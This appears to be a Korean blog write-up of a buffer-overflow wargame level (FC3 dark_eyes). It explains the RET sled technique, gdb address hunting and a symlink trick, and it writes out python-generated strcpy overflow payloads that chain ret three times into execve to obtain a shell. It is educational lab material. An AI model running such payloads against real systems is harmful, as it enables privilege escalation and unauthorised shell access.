# RET Sleding 기법
return address에 ret 명령의 주소를 적는 기법
ret은
pop eip
jump eip
수행
과정(지난 shellcode를 사용했을 때 ret sled)
1. esp가 ret을 가리키고 있다.
2. 정상적으로 ret 명령 수행 시 esp는 esp+4가 된다. Esp+4가 되어 esp가 가리키는 곳에 ret의 주소가 들어있다.
3. ret 명령이 한 번 더 수행된다. 이때 ret 명령으로 점프하게 되는 주소는 &shellcode
4. shellcode의 실행
이렇게 이해하고 적용하면 될 것 같다.
$ ls -al
$ cat dark_eyes.c
★ hint : RET Sleding
=> RET Sleding은 LOB Redhat에서 한 두번 다룬적이 있다.
★ char buffer[256] : buffer의 크기가 256.
하지만 stack dummy로 인해 dummy가 붙어서 SFP와 RET까지의 거리를 gdb로 구해야 정확하다.
★ char saved_sfp[4] : Saved Frame Pointer, SFP를 저장하는 배열로 보인다.
★ if(argc < 2) : 인자를 최소 1개 이상 줘야 한다. (argc에 파일이름 포함)
★ memcpy(saved_sfp, buffer+264, 4) : buffer+264에는 SFP가 위치한다.
(이전 레벨에서 256 byte에 dummy가 붙어서 buffer에서부터 264가 SFP까지의 거리였음)
따라서 SFP의 4 byte를 saved_sfp에 복사하는 것이다.
★ strcpy(buffer, argv[1]) : argv[1] 인자로 받은 문자열을 buffer에 복사.
Strcpy 함수 특성상 문자열 길이에 상관없이 NULL까지 문자열을 복사하므로 bufferoverflow 취약점 있음
★ memcpy(buffer+264, saved_sfp, 4) : saved_sfp에 원래의 SFP를 복사한 이유가 있었다.
SFP 변조를 방지하기 위해 복사한 SFP를 다시 SFP 위치에 복사한다. 따라서 SFP를 변조할 수 없다.
$ cat shell.c
System 함수를 통해 “/bin/sh” 명령을 수행하여 쉘을 획득하는 코드이다.
$ gdb -q dark
(gdb) set disassembly-flavor intel
(gdb) disass main
# ret의 주소
ret의 주소: 0x080484b9
# 심볼릭 링크를 걸어줄 값 찾기
변하지 않는 스택에 주목하자.
0x0083eff4는 변하지 않고,
0x0083eff4는 0x0083ed3c 값을 갖는다. 또 뒤에 NULL이 있어서 적당하다.
(NULL로 함수 인자 구분)
따라서 shell의 심볼릭 링크 파일 이름을 “\x3c\xed\x83”으로 해준다.
$ ln -n shell `python -c ‘print “\x3c\xed\x83”’`
이미 있는 파일이라고 한다.
아마 <? 파일이 shell의 “\x3c\xed\x83” 이름의 심볼릭 링크 파일인 것 같다.
#execl 함수 주소
이번에도 함수 프롤로그 이후인 부분에서 execl 함수가 실행될 수 있도록
execl+3인 0x7a5723을 ret에 넣을 주소로 사용한다.
#payload
아까 스택 구조를 보면, buffer+SFP(268)에서 0x0083eff4는 12 byte 떨어진 위치에 있다. (ret 포함)
Buffer(264) + SFP(4) + RET Sled(&ret*3) + &(execl+3)
이때 ret에 &ret(0x080484b9)을 넣고, ret*3을 한다.
그 이유는 ret*3을 하고 뒤에 execl 함수의주소가 있어 execl 함수로 이동하는데,
execl은 인자를 참조하는 방식이 ebp+8, ebp+12이므로 ebp+8은 원하는 값이 있는 곳이기 때문이다.
#공격코드
$ ./dark `python -c ‘print “A”*264 +“B”*4 +“\xb9\x84\x04\x08”*3+“\x23\x57\x7a”’`
계속 seg fault가 뜨는데, 그 이유가 execl 함수의 두 번째 인자로 들어가는 값이 0x00000000인 경우에 seg fault가 뜬다고 한다.
따라서 다른 함수인 execve 함수를 사용해보도록 하자.
#execve의 주소
execve의 주소 : 0x7a5490
Ret * 3을 하고 나면
0xfef70b50 값이 있는 곳에 esp가 위치하게 된다.
ret ret ret 이후 0xfef70b50 값이 위치한 곳에 &execve를 넣었으므로 execve 함수가 실행되고,
execve 함수는
push $esp
mov $esp, $ebp
을 실행하여 esp도 0xfef70b50 값이 있는 곳에 위치하게 된다.
execve 함수는 매개변수를 참조할 때
첫 번째 매개변수로 ebp+8,
두 번째 매개변수로 ebp+c, …
를 참조하므로 첫 번째 매개변수로 0x0083eff4, 두 번째 매개변수로 0x00000000을 참조하여 execve 함수가 실행된다.
첫 번째 매개변수 0x83eff4의 값은 shell의 심볼릭 링크 파일 이름이므로 shell이 실행되게 된다.
(아까 만들어준 shell의 심볼릭 링크 파일)
#공격코드
$ ./dark `python -c ‘print “A”*264 +“B”*4 +“\xb9\x84\x04\x08”*3+“\x90\x54\x7a”’`
execve 함수로 하니까 됐다…! 원본파일에 공격해보자.
$ ./dark_eyes `python -c ‘print “A”*264 +“B”*4 +“\xb9\x84\x04\x08”*3+“\x90\x54\x7a”’`
“because of you”
이번 레벨에서 RET Sled는
심볼릭 링크 거는 것과 연결해서 ret을 세 번 수행하는 의미를 이해하는 것이 중요한 것 같다.
심볼릭 링크를 걸어줄 값을 찾을 때도
스택에서 값이 변하지 않는 주소를 찾아서 그곳이 가지는 값을 이름으로 shell에 심볼릭 링크를 걸어주는 것,
execve 함수의 인자 참조는 ebp+8, ebp+12, ... 이렇게 한다는 것도!
지난 레벨을 쉽게 푼것에 비해 RET Sled가 주어졌음에도 좀 헤맸는데 다행히 잘 이해하고 exploit에 성공했다!!
[FC3] evil_wizard -> dark_stone (0) | 2019.07.12 |
---|---|
[FC3] hell_fire -> evil_wizard (0) | 2019.07.12 |
[FC3] dark_eyes -> hell_fire (0) | 2019.07.12 |
[FC3] gate -> iron_golem (0) | 2019.07.05 |
[FC3] 환경/메모리 보호 기법 요약 (0) | 2019.07.04 |